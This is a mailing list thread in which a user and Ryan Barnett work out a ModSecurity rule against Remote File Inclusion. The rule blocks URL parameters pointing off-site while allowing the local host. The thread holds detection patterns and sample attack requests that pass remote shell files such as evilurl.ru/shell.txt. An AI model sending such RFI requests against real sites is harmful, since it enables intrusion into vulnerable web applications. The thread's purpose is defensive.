Re: [mod-security-users] help with a rule

[Denis <sp...@in...>]

Hello Ryan,

I've tested your new rule and it appears to work exactly as we wanted.
Thanks so much for your speedy assistance! Great stuff.

Cheers,

Denis


On Fri, 18 Jul 2008 07:37:23 -0400
"Ryan Barnett" <Ryan.Barnett@Breach.com> wrote:

---> Hello Denis,
---> First off, I wanted to make sure that you were aware that we already have a rule for Remote File Inclusion (RFI) attacks bundled with the Core Rule Set under the "optional_rules" directory in the modsecurity_crs_tight_security.conf file -
---> 
---> #
---> # RFI Attack
---> #
---> SecRule ARGS "^(?:ht|f)tp:/" \
--->         "phase:2,t:none,t:htmlEntityDecode,t:lowercase,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Remote File Inclusion Attack',id:'950117',severity:'2'"
---> 
---> As you can see - it is very similar to the rule that you created with the exception of the variable we are inspecting and some regex optimization.  That being said, I agree with you that the rule in its current form can have a rather high degree of false positives.  This is why we put this in the optional_rules folder so that those users that have a higher FP rate tolerance can use it.
---> 
---> You got me thinking about how we can make this rule better.  One of the challenges that we have with many of the default Core Rules is that they need to be as universally applicable as possible.  In the case of RFI, we, as the rule writers, have no prior insight into the environment that these rules will be deployed.  One practical example is the scenario you raised with RFIs.  There are two aspects that we need to inspect for an RFI attack -
---> 
---> 1) That the payload of a parameter includes a full URI (including a protocol string) when referencing a resource, and
---> 2) The URI includes an off-site location.
---> 
---> The current RFI rule that we have addresses #1 above but not #2 as you have experienced.  Thankfully, I think we have a way to address this by updating the current rule in the following way -
---> 
---> 1) We need to expand the current rule into a chained rule as we have to apply two different analysis techniques (#1 and #2 above).
---> 2) We need to use the MATCHED_VAR variable to allow for easier multiple analysis in the fewest amount of checks.
---> 3) We can use one of the newer operators that allows for macro expansion.
---> 
---> Here is the UNTESTED rule that should work -
---> 
---> SecRule ARGS "^(?:ht|f)tp:/" \
--->         "chain,phase:2,t:none,t:htmlEntityDecode,t:lowercase,capture,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Remote File Inclusion Attack',id:'950117',severity:'2'"
---> SecRule MATCHED_VAR "!@beginsWith http://%{request_headers.host}" t:none
---> 
---> Let me know if this works for you.
---> 
---> -Ryan
---> 
---> 
---> 
---> -----Original Message-----
---> From: mod...@li... on behalf of Denis
---> Sent: Fri 7/18/2008 12:49 AM
---> To: mod...@li...
---> Subject: [mod-security-users] help with a rule
--->  
---> Hi,
---> 
---> we have this rule in our ruleset to prevent the loading of remote shells
---> by exploiting locally hosted scripts which are vulnerable to these sorts
---> of attacks:
---> 
---> SecRule REQUEST_LINE "http:/|ftp:/|https:/" \
---> "capture,ctl:auditLogParts=+E,deny,log,auditlog,msg:'Trying to load remote shell most likely. Matched signature <%{TX.0}>',id:'12345',severity:'2'"
---> 
---> This will basically prevent any urls which contain other urls as
---> arguments eg. if www.domain.com were a locally hosted web site with some
---> php scripts and someone tried to go to http://www.domain.com/somescript.php?whatever=http;//evilurl.ru/shell.txt
---> they get blocked automatically.
---> 
---> Obviously this is a simple rule but it works well for us as it blocks
---> hundreds of daily attempts to exploit popular scripts used by our
---> customers such as Joomla etc.
---> 
---> However it comes at a price of too many false positives as some scripts
---> (such as Joomla) have urls such as
---> http://www.domain.com/somescript.php?whatever=http://www.domain.com/somethingelse
---> 
---> Now I was wondering if anyone out there would help me formulate a rule
---> that will block any requests which have arguments with http/ftp/https
---> urls inside them unless the actual argument url is the locally hosted
---> hostname eg.
---> 
---> Let's say our customer's domain name is www.abcsite.com
---> 
---> If someone requests
---> http://www.abcsite.com/script.php?someargument=http://remoteurl.ru/sh.txt
---> they should be blocked since "remoteurl.ru" is not the local domain.
---> 
---> But if they request
---> http://www.abcsite.com/script.php?someargument=http://www.abcsite.com/what/ever
---> they should be let through.
---> 
---> Any help would be greatly appreciated. We use Apache2 + modsecurity
---> 2.5.5 on Linux.
---> 
---> Denis
---> 
---> 
---> -------------------------------------------------------------------------
---> This SF.Net email is sponsored by the Moblin Your Move Developer's challenge
---> Build the coolest Linux based applications with Moblin SDK & win great prizes
---> Grand prize is a trip for two to an Open Source event anywhere in the world
---> http://moblin-contest.org/redirect.php?banner_id=100&url=/
---> _______________________________________________
---> mod-security-users mailing list
---> mod...@li...
---> https://lists.sourceforge.net/lists/listinfo/mod-security-users